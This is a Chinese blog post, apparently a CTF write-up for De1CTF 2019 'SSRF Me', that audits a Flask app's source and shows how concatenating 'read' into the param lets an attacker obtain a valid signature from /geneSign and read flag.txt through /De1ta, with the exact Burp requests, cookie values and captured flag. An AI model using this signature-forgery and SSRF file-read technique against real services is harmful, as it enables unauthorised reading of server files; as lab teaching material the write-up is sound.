

代码审计 | [De1CTF 2019]SSRF Me

原创

[Crispr-bupt](#) 于 2020-02-09 21:57:33 发布 1516 收藏 2

分类专栏: [CTF知识点总结](#) 文章标签: [安全](#) [代码规范](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/crisprx/article/details/104240574>

版权



[CTF知识点总结](#) 专栏收录该内容

20 篇文章 0 订阅

订阅专栏

[De1CTF 2019]SSRF Me

前言

以为是flask模板注入, 但是看了其他师傅的writeup后发现是一个代码审计的流程, 那就安心审计代码吧。

提示flag在/flag.txt中

整理后代码

```
#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
```

```

result['code'] = 500
if (self.checkSign()):
    if "scan" in self.action:
        tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
        resp = scan(self.param)
        if (resp == "Connection Timeout"):
            result['data'] = resp
        else:
            print resp
            tmpfile.write(resp)
            tmpfile.close()
            result['code'] = 200
    if "read" in self.action:
        f = open("./%s/result.txt" % self.sandbox, 'r')
        result['code'] = 200
        result['data'] = f.read()
    if result['code'] == 500:
        result['data'] = "Action Error"
else:
    result['code'] = 500
    result['msg'] = "Sign Error"
return result

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/Delta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt", "r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

```

```

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

```

首先我们看这个路由：

```

@app.route('/Delta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

```

首先是创建了一个 `Task` 的类，`action`、`sign` 的值是由 `cookie` 得到，而 `param` 的值就是直接通过 GET 方法传递 `param` 参数的值得到，`ip` 就是你的 `ip` 地址，接着 `param` 参数会经过 `waf`，如果过了 `waf`，则执行这个类的 `Exec`。

顺着这个思路，我们追溯到 `waf` 这个方法上：

```

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

```

这个 `waf` 还是比较简单的 `waf`，只要求 `param` 参数不是以 `gopher` 和 `file` 开头就能过 `waf`，也就是过滤了这两个协议，使我们不能通过协议读取文件来。

最终 `Task` 类的 `Exec` 方法自然是结题的关键，我们跟进一下：

```

def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
                result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
        if result['code'] == 500:
            result['data'] = "Action Error"
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result

```

如果 `self.checkSign()` 为真，那么我们可以将传递的 `param` 参数进入到 `scan` 方法，先跟进 `scan` 方法：

```

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

```

这里是关键，通过我们构造的 `param` 参数发现达到进行任意文件读取的效果，所以我们现在要做的就是如何使 `self.checkSign()` 为真，跟进：

```

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

```

只要我们在cookie中传入的 `sign==getSign(cookie传入的action,GET传递的param)`就能返回 `True`

在这里我们是不知道 `secert_key` 的值，从而无法得到 `getSign` 返回的值，但是在这里发现：

```

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

```

这里能够得到`getSign('scan',GET传递的param)`的值，这也是我们唯一能利用的地方，这里我们GET的 `param` 参数的值很明确，就是 `flag.txt`，我们能通过`geneSign`得到的`sign`的值是`md5(secret_key+param+'scan')`，而最后我们在 `/Delta?param=` 的值一定是 `flag.txt`，而且必须要满足：

```
if "scan" in self.action
if "read" in self.action:
```

我们可以这样,在 `/geneSign` 的 `param` 参数的值为 `flag.txtread`, 这样我们得到的sign就是 `md5(secret_key+flag.txtreadscan)`,而访问 `/De1ta?param` 传递的值为 `flag.txt`, 且通过 `cookie` 传入的 `action` 的值为 `readscan`, 这样

```
getSign(self.action, self.param) == getSign(flag.txtreadscan)
== md5(secret_key+flag.txtreadscan)
```

而这个sign我们是知道的, 因此可以成功读取 `flag.txt`

Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

1 x 2 x 3 x 4 x 5 x 6 x 7 x ...

Go Cancel < >

Target: <http://0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn>

Request

Raw Params Headers Hex

```
GET /geneSign?param=flag.txtread HTTP/1.1
Host: 0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 09 Feb 2020 13:54:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32
Connection: close

38713ea9d6fcf9affcbfe082fcb2fcea
```

? < + > Type a search term 0 matches

Done https://blog.186 bytes | 41 millis

得到 `sign=38713ea9d6fcf9affcbfe082fcb2fcea` ;

Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x ...

Go Cancel < >

Target: <http://0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn>

Request

Raw Params Headers Hex

```
GET /De1ta?param=flag.txt HTTP/1.1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
```

```
Host: 0c1c08dc-de73-44e1-9bab-0efd02beef84.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
cookie: action=readscan;sign=38713ea9d6fcf9affcbfe082fcb2fcea
Upgrade-Insecure-Requests: 1
```

```
Server: openresty
Date: Sun, 09 Feb 2020 13:55:57 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69
Connection: close

{"code": 200, "data":
"flag {e7c88bfc-e0d3-4617-9f73-99f9ae4d857b}\n"}
```

? < + > Type a search term 0 matches

? < + > Type a search term 0 matches

Done

<https://blog> 223 bytes | 46 millis

传递 `action` 和得到的 `sign`,得到flag!